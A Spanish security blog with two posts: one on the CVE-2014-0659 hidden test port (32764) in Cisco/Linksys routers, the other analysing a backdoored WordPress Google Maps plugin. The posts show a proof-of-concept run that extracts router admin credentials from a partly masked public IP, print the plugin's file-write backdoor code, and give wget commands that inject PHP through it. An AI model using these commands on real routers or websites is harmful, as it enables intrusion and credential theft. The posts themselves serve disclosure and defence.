CVE-2014-0659 bug or backdor? Equipos cisco en problemas

"Undocumented Test Interface in Cisco Small Business Devices" dijo cisco hace unos pocos días en http://tools.cisco.com/security/center/viewAlert.x?alertId=32381 . Al parecer los desarrolladores de firmware de varios de sus Routers/AP se olvidaron de retirar esta ""feature"" de test no documentada antes de lanzarlos al mercado.

Lo que resulta mas gracioso de todo esto es que uno de los primeros (sino el primero) de los reportes sobre este comportamiento extraño (puerto 32764 TCP abierto) fue anunciado en Julio de 2010, mas de 3 años atrás! y paso perfectamente desapercibido hasta fines del año pasado. Claro, al menos eso creemos ajja.

En la pasada navidad, el francés (Eloi Vanderbeken) se vio sorprendido por un puerto abierto en su router Linksys WAG200G y realizó un interesante trabajo para explotar esta interfaz de testing, logrando un pulido y potente exploit para una gran cantidad de los equipos afectados.

La explicación de cómo encontró el "bug" y el desarrollo del exploit lo pueden ver desde aquí, si tienen tiempo lean el PDF, es una mezcla de humor bizarro y hacking jajaj.

Las recomendaciones para quienes tengan alguno de los equipos listados en el primer link:

• Proteger el acceso al router mediante un firewall, inclusive podría ser el mismo firewall que trae el equipo.
• Actualizar a la brevedad el firmware (al día de hoy, cisco no liberó una actualización que corrija el problema, según indican se liberará el parche a fines de enero).

Una prueba sencilla (aunque no completa) para ver si nuestro router es vulnerable es intentar conectarse al puerto 32764 con telnet por ejemplo:

-no vulnerable

juan@moon:~$ telnet 192.168.1.1 32764

Trying 192.168.1.1...

telnet: Unable to connect to remote host: Connection refused

juan@moon:~$ 

-posiblemente vulnerable

juan@moon:~$ telnet 190.151.X.X 32764

Trying 190.151.X.X...

Connected to 190.151.X.X.

Escape character is '^]'.

ScMM��Connection closed by foreign host.

juan@moon:~$ 

Para corroborar la vulnerabilidad se puede utilizar el exploit, poc.py:

juan@moon:~/Escritorio$ python poc.py --ip 190.151.X.X

190.151.X.X:32764 is vulnerable!

juan@moon:~/Escritorio$ 

Y si todavía tienen dudas, vean las credenciales de administración

juan@moon:~/Escritorio$ python poc.py --ip 190.151.X.X --get_credentials

log_login_fail:0

log_login_success:0

login_password:xxxxxxx

login_username:xxxxxxx

juan@moon:~/Escritorio$ 

En fin, si tienen alguno de esos equipos, estén atentos a la actualización que debería liberar cisco en estos días! 

Saludos!

Plugin sospechoso de wordpress "google-maps-by-daniel-martyn"

Hoy en la rutina diaria de cosas rara que pasan en el trabajo me comentaron que uno de los sitios webs que tenemos en un wordpres multisite tenía un link extraño en la cabecera del sitio (http://blackjac__nline.co.uk), convengamos que uno no suele encontrar links a casinos en sitios educativos. Mientras terminaba de hacer otras cosas me puse a investigar un poco.

Busqué dentro del servidor los archivos que contenían este preciosó link y voilà...  encontré un archivo llamado version.php dentro de ".../wp-content/plugins/google-maps-by-daniel-martyn" (lamentablemente modifiqué el archivo original durante las pruebas que voy a mostrar ahora jajaja pero bueno).

El plugin no parecía muy sospechoso, los archivos y directorios que lo componen son:

# ls
css  gmbdm-widget.php  google-maps-by-daniel-martyn.php  images  index.php  inuse.php  inuse.txt  js  license.txt  readme.txt  version.php
#

Los mas interesantes son
-inuse.txt que almacena una lista de IPs a las que ya les fue presentado el link, posiblemente para no repetir y que solo se vea una vez.
-inuse.php este se lleva los laureles. Es sin lugar a dudas el punto mas flaco o oscuro del plugin. El contenido del archivo es

# cat inuse.php
$inuse = $_POST['checkinuse']; $infile = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/google-maps-by-daniel-martyn/version.php', 'w'); $inuse = str_replace('\\', '', $inuse); $inuse = htmlentities($inuse); fwrite($infile, html_entity_decode($inuse)); fclose($infile); echo $inuse;
?>
#

mmm... parece inofensivo no? PERO... recibe una variable por POST y la escribe en un archivo y casualmente el archivo donde escribe la variable es version.php, que acabamos de ver que se ejecutaba cuando accediamos al sitio (alguna magia del esquema de plugins de wordpress).

Cabe la posibilidad de que alguien escriba esa variable remotamente y altere el contenido de version.php con un contenido digamos... malicioso? Probemos...

# wget --post-data 'checkinuse=<h1>Aca tu codigo PHP</h1>' http://SITIO_COMPROMETIDO/wp-content/plugins/google-maps-by-daniel-martyn/inuse.php

y obtenemos el contenido de la variable checkinuse

# cat version.php 
<h1>Aca tu codigo PHP<h1>
#

Interesante :D, si ahora en lugar de un simple e inofensivo código html ponemos código PHP...

# wget --post-data 'checkinuse=<?php phpinfo();>' http://SITIO_COMPROMETIDO/wp-content/plugins/google-maps-by-daniel-martyn/inuse.php

corroboramos el nuevo contenido del archivo version.php

# cat version.php 
<?php phpinfo();?>
#

Boooom...

Evidentemente este plugin es para desconfiar, como le dije hoy a alguien, esto parece mas un backdoor que un bug/feature del plugin...

Buscando un poco encontré http://wordpress.org/support/view/plugin-reviews/google-maps-by-daniel-martyn donde claramente indican que NO se recomienda el uso del plugin por el comportamiento que tiene. Aparentemente ya ha sido retirado del repositorio de plugin de wordpress.

A pesar de haber sido reportado hace ya unos meses hay muchos sitios que aún lo tienen y son vulnerables, (con una simple búsqueda en google se pueden encontrar varios).

Que dilema... confiar o no confiar en nuestros plugins???